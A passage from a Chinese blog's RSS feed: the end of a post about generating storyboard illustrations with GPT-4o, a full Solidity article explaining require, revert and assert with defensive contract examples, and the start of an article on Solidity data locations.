    - 床的东侧(左侧)放置一个木质床头柜，上面有一盏开启状态的暖黄色小台灯
    - 西北角(即床右前方)摆放着一张小圆桌和一把木椅
    - 东北角(即左前方)靠墙摆放着一个古朴的深色木质衣柜
    - 整个房间铺着深色木地板，反射微弱灯光

    光源明确：东窗外透入蓝色月光，形成蓝色光斑，与床头左侧暖黄色台灯形成双色光源效果。窗外可见深蓝色夜空和明亮月亮。卧室整体色调温馨平衡，蓝色月光与黄色灯光交织，营造安静舒适的夜晚氛围。房间内物品比例适当，与Q版人物造型协调，保持皮克斯风格的精致感和温暖质感。

    此布局设计适合从多角度拍摄：45度俯视全景、床左侧水平特写、低角度地面视角，保证镜头三、四、五、六的空间一致性。
</code></pre>
<p>为了让GPT4o能够彻底理解，我根据上述提示词画了个草图，如下图所示，标注了卧室的朝向和摆设，丢给GPT4o去理解，我让GPT4o向我解释了草图中的布局，以检验它确实是理解了我的草图。</p>
<p><img src="/api/images/image/2026/10/f104193e52066455-img_0345.jpg" alt="IMG_0345.JPG"></p>
<p>后来我发现GPT对空间理解能力不准确，比如左前侧它就理解不了，于是又换成了基于画面的上下左右来描述房间摆设，才理解了我的意思。</p>
<p>以下是一些残次品展示：</p>
<p><img src="/api/images/image/2026/10/6f14cd2722842f9d-chatgpt_image_2025-4-27-_15_57_00.png" alt="ChatGPT Image 2025年4月27日 15_57_00.png"></p>
<p>点评：台前幕后混乱，没有空间感。</p>
<p><img src="/api/images/image/2026/10/1194c0f233f2bdce-chatgpt_image_2025-4-27-_16_03_42.png" alt="ChatGPT Image 2025年4月27日 16_03_42.png"></p>
<p>点评：空间布局错乱，老爷爷的头像个玩具摆在床上。</p>
<p><img src="/api/images/image/2026/10/1f9def506984a98a-chatgpt_image_2025-4-27-_16_05_44.png" alt="ChatGPT Image 2025年4月27日 16_05_44.png"></p>
<p>点评：图片比例16:9，变成了1:1，老爷爷的脸和胡子质感损失，看起来像玩具。</p>
<p><img src="/api/images/image/2026/10/cc370e57417ab41b-chatgpt_image_2025-4-27-_16_10_45.png" alt="ChatGPT Image 2025年4月27日 16_10_45.png"></p>
<p>点评：空间布局混乱，明确要求窗户是在东边，床的左侧，但还是把窗户放在了南边。</p>
<p><img src="/api/images/image/2026/10/86ba44574ec7d045-chatgpt_image_2025-4-27-_16_15_29.png" alt="ChatGPT Image 2025年4月27日 16_15_29.png"></p>
<p>点评：在我明确要求：“床左侧（东侧）有木质床头柜，左侧墙壁（东墙）上有一扇中等大小的窗户，左前角（东北角）靠墙处摆放一个深色木质衣柜”后的效果，衣柜仍然没有出现，后来发现是理解不了“左前角”，东北角也同样无法理解。</p>
<p><img src="/api/images/image/2026/10/7e9a03b414c73173-chatgpt_image_2025-4-27-_16_18_33.png" alt="ChatGPT Image 2025年4月27日 16_18_33.png"></p>
<p>点评：这张空间就错得更离谱了。</p>
<p>我直接跟GPT4抱怨了，怎么效果越来越差了？它的回答是：</p>
<p>AI 的图像生成模型（比如 DALL·E）对于“空间定位词 +复杂家具布局 +高角度透视”这类组合指令的解析，仍然存在局限，尤其是：</p>
<p>方位词（东北角、东侧、右下）不是它天然理解的语义单位；</p>
<p>房间布局要求多时，它会随机取舍，不保证“全部命中”；</p>
<p>若文本描述越长、越复杂，它可能只保留部分高权重信息（例如“月光”、“床”、“老爷爷”），而牺牲“衣柜方位”这样的次要描述。</p>
<p><img src="/api/images/image/2026/10/749a065333d33a88-chatgpt_image_2025-4-27-_16_23_00.png" alt="ChatGPT Image 2025年4月27日 16_23_00.png"></p>
<p>点评：这张图是在我给出卧室布局草图后，跟GPT4o聊完确认它已经理解我的草图后，生出的效果，我开始崩溃了……</p>
<h2>以图修图</h2>
<p>以图修图，效果是有的，但不给出原图的提示词的情况下，在理解上会有所损失，于是就会出把新问题修复，又出现新问题——把原本满意的效果破坏掉了，如光线、细节等。</p>
<p>以下是一些残次品展示：</p>
<p><img src="/api/images/image/2026/10/ab34d7926ec196d1-chatgpt_image_2025-4-27-_16_28_53.png" alt="ChatGPT Image 2025年4月27日 16_28_53.png"></p>
<p><img src="/api/images/image/2026/10/2331cbc26d3bc42a-chatgpt_image_2025-4-27-_16_40_58.png" alt="ChatGPT Image 2025年4月27日 16_40_58.png"></p>
<p><img src="/api/images/image/2026/10/4ce17e6c7d614d86-chatgpt_image_2025-4-27-_16_41_57.png" alt="ChatGPT Image 2025年4月27日 16_41_57.png"></p>
<p>点评：这张图描述地是大耗子用尾巴去顶老爷爷的帽子，一不小心顶到老爷爷鼻孔了，画了很多稿，限于篇幅就不一一放出了。本来这张图片我想改改很快就可以用了，但还是我高估了，我将图片下载下来，在上面画了一条红线，示意大耗子的尾巴应该怎么误入鼻孔中，失败了；我还尝试让大耗子换个姿势，背向帽子，扭头看着尾巴去顶帽子，直接告诉我技术原因生成不了。我问它：“你到底是技术问题呢，还是生成频率受限了呢？”</p>
<p>它回答：“</p>
<p>你问得很到位，其实是技术格式的问题，不是生成频率受限。</p>
<p>刚刚在尝试发起“图像编辑”指令时，系统对图像编辑参数的解析出了问题（不是因为次数用完或受限），所以才连续报错。这个问题我可以手动规避一下，现在我会重新梳理正确的指令结构，然后再试一次修正尾巴颜色与路径的编辑。</p>
<p>我们立刻开始，争取这次不出问题。如果这次系统还是不能执行，我会给你一个替代解决方案，比如：</p>
<p>用精细文字+图示指导你或设计师后续人工修改；</p>
<p>或者在兼容的编辑平台上接力修改。“</p>
<p>最终我放弃了尾巴误入鼻孔的效果，改成刚上床准备动手的效果，也就有了上文中的成品效果。</p>
<h2>附准备工作</h2>
<p>在GPT4o生图前，我做了如下准备工作：</p>
<p>1、故事全文；</p>
<p>2、按故事情节拆分成6个分镜（镜头1～6分别是：魔术师展示、耗子窥视、耗子们讨论、大耗子行动、喷嚏与逃跑），并生成相应的分镜提示词；</p>
<p>3、整理出插画全局风格、角色统一描述；</p>
<pre><code>全局统一风格标签：高质量3D卡通渲染，一致的皮克斯风格，16:9宽屏比例，高分辨率，统一角色设计，温暖色调，精细质感，--ar 16:9 --s 1024 --stylize 100

角色统一描述：
    老爷爷：慈祥白发老人，Q版大头小身体比例，标志性夸张白色八字胡，眯成月牙形的眼睛，红润脸颊，半月形金边眼镜，身穿深蓝色星星图案长袍
    魔术帽：黑色圆顶高筒魔术帽（非尖顶），金色装饰带
    耗子描述：
        大耗子：灰褐色，戴翠绿领结，长胡须，细腻毛发，《疯狂动物城》风格
        小耗子：浅粉色，大眼睛，圆耳朵，细腻毛发，《疯狂动物城》风格
        黑耗子：圆滚滚黑色身体，红鼻子，短胖尾巴，细腻毛发，《疯狂动物城》风格
        灰耗子：细长灰色身体，戴褪色绿色小帽子，细腻毛发，《疯狂动物城》风格
</code></pre>
<p>4、整理出故事中老爷爷的卧室布局（后来第二遍补充）；</p>
<p>5、将以上4点整理成一个markdown文档并上传到GPT4o项目中（新建一个项目）；</p>
<h2>附提示词</h2>
<pre><code>🎬 镜头一：魔术师展示  
高质量3D卡通渲染，皮克斯风格  
温馨的马戏团舞台，彩色条纹帐篷、金色聚光灯照射，镜头微低角度拍摄。画面中央是慈祥白发的老爷爷魔术师，Q版大头小身体比例，标志性夸张白色八字胡，眯成月牙形眼睛，红润脸颊，半月形金边眼镜，身穿深蓝色星星图案长袍。他微笑着举起黑色圆顶高筒魔术帽（带金色装饰带），帽子上方漂浮着彩色糖果、小蛋糕和红苹果，周围有星光闪烁效果。为了适应16:9比例，画面背景宽广，帐篷和舞台的细节扩展到画面两侧，给场景带来更多的空间感，增强舞台氛围。鲜艳饱和色彩，柔和光影，温暖色调，精细渲染，微低角度拍摄，聚光灯效果，干净背景，细节丰富。《疯狂动物城》级别的细节质感。

🎬 镜头二：耗子窥视（幕后视角）
高质量3D卡通渲染，皮克斯风格
舞台幕侧视角，画面通过舞台灯光的自然过渡形成前景和后景的深度对比。老爷爷的侧背影（与镜头一完全一致的白发老人，Q版大头小身体，深蓝色星星图案长袍）正面对着观众席表演，举起黑色圆顶魔术帽，帽子上漂浮着糖果和小蛋糕。背景中的四只Q版耗子（《疯狂动物城》风格）站在观众席边缘：灰褐色大耗子（戴翠绿领结，长胡须）站在前面；浅粉色小耗子（大眼睛，圆耳朵）好奇地趴在大耗子肩上；黑色黑耗子（红鼻子，圆身体）挤在中间；细长灰色灰耗子（戴褪色绿色小帽子）侧身探头。所有耗子具有细腻毛发质感，眼睛闪闪发光，表情充满惊奇与向往。背景中的人类观众被模糊处理，确保耗子们的形象突出显示，舞台两侧的帐篷和其他细节延伸至画面边缘，增强 16:9 比例下的空间感。

🎬 镜头三：夜晚卧室 
高质量3D卡通渲染，皮克斯风格，16:9比例  
45度俯视角拍摄，画面需清晰展示整个温馨卧室

画面布局：
- 画面下方是一张木床，铺着蓝白格子花纹被子
- 画面左侧是窗户和床头柜，窗户透入蓝色月光
- 画面右上方可见圆桌一角
- 画面左上方有木质衣柜

主要元素位置：
1. 床：位于画面下半部分中央，床头靠近画面底部
2. 老爷爷：躺在床上，黑色圆顶魔术帽(金边装饰带)盖住脸部，仅露出白八字胡
3. 床头柜：在床的左侧，上面有亮着的暖黄色台灯
4. 窗户：在床头柜左侧，挂着半开的淡蓝色窗帘，外面是夜空和月亮
5. 衣柜：位于画面左上角
6. 小圆桌：位于画面右上角

光源效果：
- 左侧窗户投入蓝色月光，在地板上形成蓝色光斑
- 床头灯发出温暖的黄色光晕
- 两种光源交织在房间中央

氛围细节：
- 魔术帽边缘飘出音符和Z形睡眠符号
- 深色木地板反射微弱灯光
- 整体色调温暖，氛围安静梦幻
- 所有细节需达到《疯狂动物城》级别质量

🎬 镜头四：耗子们讨论
高质量3D卡通渲染，皮克斯风格，16:9宽屏比例，低角度近地面视角  
夜晚卧室内景，温馨复古风格，细节达到《疯狂动物城》级别

构图元素：
- 床位于画面右侧，露出蓝白格子被子和床腿一角  
- 床头柜位于右上角，暖黄色台灯点亮，灯光从上方向左下斜洒  
- 窗户在画面左侧，挂着半开的淡蓝色窗帘，月光从窗外洒入  
- 月光在深色木地板上形成冷蓝色光斑，地板有轻微反射，展现木纹  
- 左上方背景为窗与墙面，右上方背景可见台灯光晕  

角色表现：
- 四只Q版耗子围成一圈站在地板上讨论  
  - 灰褐色大耗子：站中间，戴翠绿领结，双手叉腰，表情严肃  
  - 浅粉色小耗子：藏在后面，睁大眼睛，神情害怕  
  - 黑色黑耗子：圆身体，红鼻子，紧张地摇头  
  - 灰色灰耗子：戴褪色绿色小帽子，双手合十作乞求状  
- 所有耗子毛发细腻，Q版比例统一，表情丰富，动作自然  
- 耗子影子被月光拉长，投射在地板上，形成有趣轮廓  

光影氛围：
- 冷蓝色月光 + 暖黄色台灯光交织，形成梦幻光影对比  
- 灯光自然过渡，整体色调安静柔和，具有童话氛围

🎬 镜头五：大耗子行动 
高质量3D卡通渲染，皮克斯风格
接近水平视角特写，从床的左侧拍摄。画面承接镜头三的卧室布置：左侧可见窗户边缘，月光从窗帘缝隙中照进；右后方隐约可见床头柜和暖黄色台灯。场景中心是老爷爷的床上局部，蓝白格子被子下是老爷爷熟睡的轮廓。大耗子（灰褐色，翠绿领结，长胡须，细腻毛发）小心地站在枕头边缘，眼睛睁大、神情紧张，伸长尾巴触碰黑色圆顶魔术帽（金色装饰带）底部。帽子下隐约可见老爷爷的白八字胡和鼻子。大耗子爪子紧张地抓住枕头边缘保持平衡，表情专注，嘴角微扬，周围飘浮半透明糖果和蛋糕香味视觉效果。魔术帽边缘微微发光，暗示其魔力。月光冷蓝、台灯暖黄，光影对比形成醒目视觉效果。《疯狂动物城》水准的毛发细节和表情，精细质感，角色连贯性强。

🎬 镜头六：喷嚏与逃跑  
高质量3D卡通渲染，皮克斯风格
卧室全景从右上角45度俯视拍摄，与镜头三完全相同的房间布局：中央是老爷爷的床（蓝白格子被子），左侧床头柜上有亮着的暖黄色小台灯，左侧墙有窗户透入蓝色月光，左上角有衣柜，右下方有小桌子。老爷爷（白八字胡，红润脸颊，眯着眼）惊讶坐起打喷嚏"阿嚏！"，黑色圆顶魔术帽（金色装饰带）飞向空中，周围散落糖果和小蛋糕。四只耗子形象与之前一致：灰褐色大耗子（绿领结）被气流掀飞，表情惊恐，尾巴呈现慌张的S形；浅粉色小耗子、黑色黑耗子（红鼻子）、灰色灰耗子（绿帽子）四散奔逃向房间四角，肢体拉长表现速度感。添加动态线条表现喷嚏的冲击波，帽子周围有星星漩涡，高对比度，动态感强。画面背景扩展至16:9比例的两侧，确保视觉平衡，同时展示床上和地板场景，突出人物表情和混乱动态。 

</code></pre>
]]></content:encoded>
      <category>AI</category>
      <pubDate>Thu, 24 Apr 2025 07:31:41 GMT</pubDate>
    </item>
    <item>
      <title>Solidity面试必备：require、revert和assert的区别</title>
      <link>https://yangxinmin.com/solidity-require-revert-assert</link>
      <guid isPermaLink="true">https://yangxinmin.com/solidity-require-revert-assert</guid>
      <description>说在前面 在Solidity开发中，错误处理就像是合约的守护者，保护着你的代码免受意外和攻击，所以用好require、revert和assert这三个关键字特别重要。 这篇文章，我将和你分享它们的区别和用法，帮你在开发中少踩坑，写出更安全、更可靠的合约。 核心区别对比 先来个直观的对比（手机屏下可左</description>
      <content:encoded><![CDATA[<h2>说在前面</h2>
<p>在Solidity开发中，错误处理就像是合约的守护者，保护着你的代码免受意外和攻击，所以用好<code>require</code>、<code>revert</code>和<code>assert</code>这三个关键字特别重要。</p>
<p>这篇文章，我将和你分享它们的区别和用法，帮你在开发中少踩坑，写出更安全、更可靠的合约。</p>
<h2>核心区别对比</h2>
<p>先来个直观的对比（手机屏下可左右滚动查看）：</p>
<table>
<thead>
<tr>
<th>特性</th>
<th>require</th>
<th>revert</th>
<th>assert</th>
</tr>
</thead>
<tbody>
<tr>
<td>主要用途</td>
<td>输入验证、条件检查</td>
<td>复杂条件逻辑、自定义error</td>
<td>不变量检查、内部错误捕获</td>
</tr>
<tr>
<td>gas退还</td>
<td>退还剩余gas</td>
<td>退还剩余gas</td>
<td>0.8.0后改用REVERT</td>
</tr>
<tr>
<td>操作码</td>
<td>REVERT</td>
<td>REVERT</td>
<td>0.8.0前INVALID，后REVERT</td>
</tr>
<tr>
<td>错误信息</td>
<td>支持字符串消息</td>
<td>支持自定义error类型</td>
<td>0.8.0前仅返回默认Panic错误码，后支持自定义消息</td>
</tr>
<tr>
<td>常见场景</td>
<td>参数验证、权限检查</td>
<td>复杂条件、详细错误</td>
<td>内部一致性验证</td>
</tr>
</tbody>
</table>
<p>这三个关键字虽然都能处理错误，但功能定位完全不同。<code>require</code>像是门卫，负责输入验证；<code>revert</code>是个灵活的管家，能处理各种复杂状况；<code>assert</code>则是内部的守护者，确保核心逻辑正确。</p>
<p>接下来，我带你逐个认识它们。</p>
<h2>require：输入验证的守护者</h2>
<h3>什么是require？</h3>
<p><code>require</code>是Solidity中最常见的错误处理工具，简单直接。如果条件为假，它就回滚交易并告诉你哪里不对。</p>
<h3>适用场景</h3>
<ul>
<li>检查用户输入（比如金额必须大于0）</li>
<li>验证前置条件（比如余额是否充足）</li>
<li>确认权限（比如只有管理员能操作）</li>
<li>检查外部调用结果</li>
</ul>
<h3>代码示例</h3>
<pre><code class="language-solidity">function withdraw(uint256 amount) public {
    // 验证输入参数
    require(amount > 0, "Amount must be greater than zero");

    // 检查业务条件
    require(balances[msg.sender] >= amount, "Insufficient balance");

    // 检查权限
    require(msg.sender == owner || isAuthorized[msg.sender], "Unauthorized");

    // 执行提币逻辑...
}

</code></pre>
<h3>工作原理</h3>
<p>当你使用<code>require</code>时，Solidity编译器会将其转换为：</p>
<pre><code class="language-solidity">if (!condition) {
    revert(message);
}

</code></pre>
<p>简单地来说，<code>require = if + revert</code>，它帮你把条件检查和回滚打包在一起，使用更加便捷。</p>
<h2>revert：灵活的错误处理机制</h2>
<h3>什么是revert？</h3>
<p><code>revert</code>允许你在任何条件下手动触发回滚，特别适合处理复杂情况。它还能搭配自定义error类型，让你省gas又能返回更多信息（如参数值）。</p>
<h3>适用场景</h3>
<ul>
<li>处理复杂的条件判断</li>
<li>提供详细的错误信息（通过自定义error）</li>
<li>需要带参数的错误场景</li>
<li>优化gas（自定义error比错误提示字符串更省gas）</li>
</ul>
<h3>代码示例</h3>
<pre><code class="language-solidity">// 定义自定义error类型
error InsufficientBalance(address user, uint256 available, uint256 required);
error ZeroAmount();
error Unauthorized(address caller);

function withdraw(uint256 amount) public {
    // 使用if-revert模式进行条件检查
    if (amount == 0) {
        revert ZeroAmount();
    }

    if (balances[msg.sender] &#x3C; amount) {
        // 通过自定义error提供更详细的上下文
        revert InsufficientBalance(msg.sender, balances[msg.sender], amount);
    }

    if (msg.sender != owner &#x26;&#x26; !isAuthorized[msg.sender]) {
        revert Unauthorized(msg.sender);
    }

    // 执行提币逻辑...
}

</code></pre>
<h3>自定义error的优势</h3>
<p>从Solidity 0.8.4开始，自定义error成为开发者的重要选择，有如下优势：</p>
<ol>
<li><strong>节省gas</strong>：自定义error比字符串消息可节省约50-200 gas（视字符串长度而定）</li>
<li><strong>支持参数</strong>：能告诉你具体哪里错了，比如余额是多少，要提多少</li>
<li><strong>类型安全</strong>：编译器会检查类型，减少错误</li>
<li><strong>工具友好</strong>：开发工具能更好地解析和展示</li>
</ol>
<h2>assert：合约的内部守护者</h2>
<h3>什么是assert？</h3>
<p><code>assert</code>是用来检查"理论上不该出错"的条件。如果它触发了，通常说明代码逻辑有严重问题。</p>
<h3>适用场景</h3>
<ul>
<li>检查程序内部状态的一致性（比如存款总额必须正确）</li>
<li>检测理论上不可能发生的条件</li>
<li>防御性编程，作为最后的安全网</li>
<li>审计关键数据（尤其在DeFi项目中）</li>
</ul>
<h3>代码示例</h3>
<pre><code class="language-solidity">uint256 public totalDeposited;

function deposit() external payable {
    if (msg.value == 0) revert ZeroAmount();

    uint256 oldTotal = totalDeposited;
    totalDeposited += msg.value;

    // 验证状态一致性，检查存取账目是否正确
    assert(totalDeposited == oldTotal + msg.value);
}

</code></pre>
<h3>assert的演进历史</h3>
<p>在Solidity 0.8.0之前，<code>assert</code>失败会使用<code>INVALID</code>操作码，消耗所有剩余gas且无法提供错误信息，给调试带来困难。从0.8.0开始，它改用<code>REVERT</code>，也会退还剩余gas，更加便于开发。</p>
<p>需要注意的是，即使在0.8.0后，<code>assert</code>失败仍会触发<code>Panic</code>错误（如<code>Panic(0x01)</code>表示断言失败），而不是普通的revert，这有助于区分断言失败和业务逻辑错误。</p>
<h2>实战案例：存款提款合约</h2>
<p>理论结合实践，我展示一个存款提款合约，看这三个关键字如何协同工作：</p>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract SecureVault {
    mapping(address => uint256) public balances;
    uint256 public totalDeposited;
    address public immutable owner;
    bool private locked; // 防重入锁

    // 自定义error
    error DepositZeroAmount();
    error InsufficientBalance(address user, uint256 balance, uint256 requestedAmount);
    error WithdrawZeroAmount();
    error WithdrawFailed();
    error NotOwner(address caller);
    error ReentrantCall();

    constructor() {
        owner = msg.sender;
    }

    // 防重入修饰器 - 防止重入攻击，确保同一函数不可重入调用
    modifier nonReentrant() {
        if (locked) revert ReentrantCall();
        locked = true;
        _;
        locked = false;
    }

    modifier onlyOwner() {
        if (msg.sender != owner) revert NotOwner(msg.sender);
        _;
    }

    /// @notice 用户存款
    function deposit() external payable {
        // 使用revert+自定义error检查输入
        if (msg.value == 0) revert DepositZeroAmount();

        balances[msg.sender] += msg.value;
        totalDeposited += msg.value;

        // 使用assert确保状态一致（在此简单合约中两者应该严格相等）
        assert(totalDeposited == address(this).balance);
    }

    /// @notice 用户取款
    function withdraw(uint256 amount) external nonReentrant {
        // 使用revert+自定义error检查输入
        if (amount == 0) revert WithdrawZeroAmount();

        // 检查余额
        if (balances[msg.sender] &#x3C; amount) {
            revert InsufficientBalance(msg.sender, balances[msg.sender], amount);
        }

        // 先修改状态
        balances[msg.sender] -= amount;
        totalDeposited -= amount;

        // 再进行外部交互
        (bool success, ) = payable(msg.sender).call{value: amount}("");
        if (!success) {
            revert WithdrawFailed();
        }

        // 使用assert确保状态一致
        assert(totalDeposited == address(this).balance);
    }
}

</code></pre>
<p>这里，<code>revert</code>负责输入和业务逻辑验证，<code>assert</code>确保状态不出错，配合使用效果良好。</p>
<h2>错误处理最佳实践</h2>
<p>基于实际开发经验，以下是几个实用的最佳实践：</p>
<h3>1. <strong>先检查，后操作</strong></h3>
<p>在函数开头进行所有输入和条件验证，错了就早点返回失败（"fail fast"原则），避免浪费gas。</p>
<pre><code class="language-solidity">function transfer(address to, uint256 amount) external {
    // 先进行所有输入验证
    if (to == address(0)) revert InvalidAddress();
    if (amount == 0) revert ZeroAmount();

    // 只有验证通过后才执行核心逻辑...
}

</code></pre>
<h3>2. <strong>使用自定义error</strong></h3>
<p>自定义error比字符串消息更省gas，还能带参数，有助于更快发现问题：</p>
<pre><code class="language-solidity">// 不推荐
require(balance >= amount, "Insufficient balance");

// 推荐
error InsufficientBalance(uint256 available, uint256 required);
if (balance &#x3C; amount) revert InsufficientBalance(balance, amount);

</code></pre>
<h3>3. <strong>assert谨慎使用</strong></h3>
<p>assert只用来检查内部逻辑问题，不要用于业务验证。</p>
<h3>4. <strong>检查-效果-交互</strong></h3>
<p>先修改状态，再调用外部合约，防止重入攻击。</p>
<pre><code class="language-solidity">balances[msg.sender] -= amount; // 先改状态
(bool success, ) = msg.sender.call{value: amount}(""); // 再交互

</code></pre>
<h3>5. <strong>错误信息要明确</strong></h3>
<p>不要只说"错了"，要告诉用户具体什么问题，方便调试和追踪错误。</p>
<pre><code class="language-solidity">// 不明确的错误
if (!success) revert("Failed");

// 明确且有用的错误
if (!success) revert TransferFailed(recipient, amount);

</code></pre>
<h2>Gas优化策略</h2>
<p>错误处理还能优化gas使用，以下是几个技巧：</p>
<h3>1. <strong>if-revert比require省gas</strong></h3>
<p><code>if-revert</code>比带字符串的<code>require</code>可节省约20-50 gas（视字符串长度而定）：</p>
<pre><code class="language-solidity">// 消耗更多gas，尤其是错误提示字符串比较长时
require(amount > 0, "Zero amount");

// 更省gas
if (amount == 0) revert ZeroAmount();

</code></pre>
<h3>2. <strong>自定义error要简洁</strong></h3>
<p>error名称不要太长，这样在部署时可节省gas。</p>
<pre><code class="language-solidity">// 太长，不推荐
error ThisFunctionRequiresTheCallerToHaveEnoughBalanceToCompleteTheTransfer();

// 简洁清晰，推荐
error InsufficientBalance();

</code></pre>
<h2>外部调用错误处理</h2>
<p>与外部合约交互时，错误处理需要更加小心：</p>
<pre><code class="language-solidity">error ExternalCallFailed(address target);

function safeCall(address target, bytes memory data) external {
    (bool success, bytes memory result) = target.call(data);
    if (!success) {
        // 检查result是否包含外部合约的错误信息，若有则直接抛出
        if (result.length > 0) {
            // 这里用Yul汇编提取外部错误信息并重新抛出
            assembly {
                revert(add(32, result), mload(result))
            }
        } else {
            // 外部调用失败但无具体错误信息
            revert ExternalCallFailed(target);
        }
    }
}

</code></pre>
<h2>面试要点总结</h2>
<p>如果你在面试中被问到这个问题，可以按照这个思路回答：</p>
<ol>
<li><strong>简单说明区别</strong>：
<ul>
<li><code>require</code>负责输入参数验证，退还gas</li>
<li><code>revert</code>处理复杂逻辑，支持自定义错误</li>
<li><code>assert</code>检查内部逻辑，发现严重问题</li>
</ul>
</li>
<li><strong>提及历史变化</strong>：
<ul>
<li>0.8.0前，<code>assert</code>消耗所有gas，现在也会退还了</li>
</ul>
</li>
<li><strong>说明使用场景</strong>：
<ul>
<li>输入验证用<code>require</code>，复杂逻辑用<code>revert</code>，内部检查用<code>assert</code></li>
</ul>
</li>
<li><strong>展示最佳实践</strong>：
<ul>
<li>使用自定义错误节省gas，遵循检查-效果-交互模式</li>
</ul>
</li>
</ol>
<p><strong>面试官可能问：为何<code>assert</code>不用于输入验证？</strong></p>
<p>答：<code>assert</code>是用来检查程序内部不变量的，如果触发说明代码逻辑有bug。输入验证是外部条件检查，应该用<code>require</code>或<code>revert</code>处理预期的业务错误。</p>
<h2>总结</h2>
<p><code>require</code>、<code>revert</code>和<code>assert</code>就像Solidity的错误处理三剑客：</p>
<ul>
<li><code>require</code>守住输入关，简单实用</li>
<li><code>revert</code>处理复杂逻辑，灵活高效</li>
<li><code>assert</code>保护内部逻辑，安全第一</li>
</ul>
<p>掌握好这三个关键字，你的合约会更加安全，面试也能轻松通过！</p>
]]></content:encoded>
      <category>Solidity</category>
      <pubDate>Mon, 21 Apr 2025 03:36:35 GMT</pubDate>
    </item>
    <item>
      <title>Solidity面试必问：storage、memory、calldata和transient sto</title>
      <link>https://yangxinmin.com/solidity-storage-memory-calldata</link>
      <guid isPermaLink="true">https://yangxinmin.com/solidity-storage-memory-calldata</guid>
      <description>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch），免费领取我私下整理的“智能合约学习”资料一份，帮你少走弯路！ 说在前面 在Solidity开发中，搞懂数据存储位置就像掌握</description>
      <content:encoded><![CDATA[<p><strong>关注我</strong>，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch），<strong>免费领取</strong>我私下整理的“<strong>智能合约学习</strong>”资料一份，帮你少走弯路！</p>
<h2>说在前面</h2>
<p>在Solidity开发中，搞懂数据存储位置就像掌握了合约的“命脉”。选错了地方，gas费飙升不说，合约还可能出大问题。新手开发者稍微不注意，就可能写出“花钱如流水”还bug不断的代码。</p>
<p>这篇文章，我将和你聊聊 <code>storage</code>、<code>memory</code>、<code>calldata</code> 和 <code>transient</code> 这存储四兄弟的区别，帮你写出更安全、更省钱的合约。</p>
<h2>🔍 四兄弟的区别</h2>
<p>先来个直观的对比（手机屏下可左右滚动查看）：</p>
<table>
<thead>
<tr>
<th>存储位置</th>
<th>生命周期</th>
<th>可变性</th>
<th>gas成本</th>
<th>主要用途</th>
</tr>
</thead>
<tbody>
<tr>
<td>storage</td>
<td>永久</td>
<td>可修改</td>
<td>最高</td>
<td>合约状态变量</td>
</tr>
<tr>
<td>memory</td>
<td>函数执行期间</td>
<td>可修改</td>
<td>中等</td>
<td>函数内临时数据</td>
</tr>
<tr>
<td>calldata</td>
<td>函数调用期间</td>
<td>只读</td>
<td>最低</td>
<td>外部函数参数</td>
</tr>
<tr>
<td>transient</td>
<td>单次交易期间</td>
<td>可修改</td>
<td>低</td>
<td>跨函数临时数据</td>
</tr>
</tbody>
</table>
<p>我个人是这样简单记的：</p>
<ul>
<li><strong>持久性</strong>: storage（永久） > transient（交易内） > memory/calldata（函数调用内）</li>
<li><strong>成本</strong>: storage（最贵） > transient > memory > calldata（最便宜）</li>
<li><strong>可变性</strong>: storage/memory/transient（可变） vs calldata（只读）</li>
</ul>
<p>接下来，我带你逐个认识它们。</p>
<h2>🏦 Storage：合约的“保险箱”</h2>
<h3>什么是storage？</h3>
<p><code>storage</code> 是智能合约的“保险箱”，数据放进去就永久保存，交易之间都能访问。每个合约都有自己的 <code>storage</code>，除非你用 <code>selfdestruct</code> 把合约干掉，不然数据一直在那儿。</p>
<h3>特点</h3>
<ol>
<li><strong>永久保存</strong>：数据会永久存储在区块链上；</li>
<li><strong>全局可用</strong>：合约里随便哪个函数都能访问到；</li>
<li><strong>贵得离谱</strong>：每次存取都得花大价钱（gas），尤其是写操作（SSTORE操作码）。</li>
</ol>
<h3>举个栗子 🌰</h3>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract StorageExample {
    // 以下三行都是storage变量
    uint256 public counter;
    mapping(address => uint256) public balances;
    string public message;

    // 修改storage变量
    function incCounter() external {
        counter += 1; // 直接修改storage
    }

    // 使用storage引用
    function updateBalance(address user, uint256 amount) external {
        // 创建指向storage的引用
        mapping(address => uint256) storage userBalances = balances;
        userBalances[user] = amount; // 修改storage
    }
}

</code></pre>
<h3>适用场景</h3>
<ul>
<li>需要在交易之间保持状态的数据</li>
<li>代表用户余额、合约配置、权限管理等持久性信息</li>
<li>任何需要长期保存的数据</li>
</ul>
<h3>使用技巧</h3>
<p>storage操作昂贵，特别是写操作。如果你需要在函数中频繁操作storage数据，可以先将其加载到memory中，操作完成后再一次性写回storage：</p>
<pre><code class="language-solidity">function optimizedUpdate(uint256 index, uint256 value) external {
    // 加载到memory
    uint256[] memory tempArray = new uint256[](myStorageArray.length);
    for(uint i = 0; i &#x3C; myStorageArray.length; i++) {
        tempArray[i] = myStorageArray[i];
    }

    // 在memory中操作
    tempArray[index] = value;

    // 一次性写回storage
    for(uint i = 0; i &#x3C; tempArray.length; i++) {
        myStorageArray[i] = tempArray[i];
    }
}

</code></pre>
<h2>🧮 memory：函数的“草稿纸”</h2>
<h3>什么是memory？</h3>
<p><code>memory</code> 就像函数的“草稿纸”，用完就扔，适合记些临时数据，比如计算中间结果。函数一结束，里面的东西就清空了。</p>
<h3>特点</h3>
<ol>
<li><strong>临时性</strong>：数据仅在函数执行期间有效</li>
<li><strong>中等gas成本</strong>：比storage便宜，但分配大块memory仍有成本</li>
<li><strong>可修改</strong>：可以自由修改数据</li>
</ol>
<h3>举个栗子 🌰</h3>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract MemoryExample {
    function processArray(uint256[] calldata inputs) external pure returns (uint256[] memory) {
        // 在memory中创建新数组
        uint256[] memory results = new uint256[](inputs.length);

        // 在memory中操作数据
        for (uint i = 0; i &#x3C; inputs.length; i++) {
            results[i] = inputs[i] * 2;
        }

        // 返回memory数组
        return results;
    }
}

</code></pre>
<h3>适用场景</h3>
<ul>
<li>函数内的临时计算</li>
<li>需要返回的复杂数据结构（数组、结构体）</li>
<li>字符串操作和拼接</li>
<li>从storage复制数据进行大量修改</li>
</ul>
<h3>使用技巧</h3>
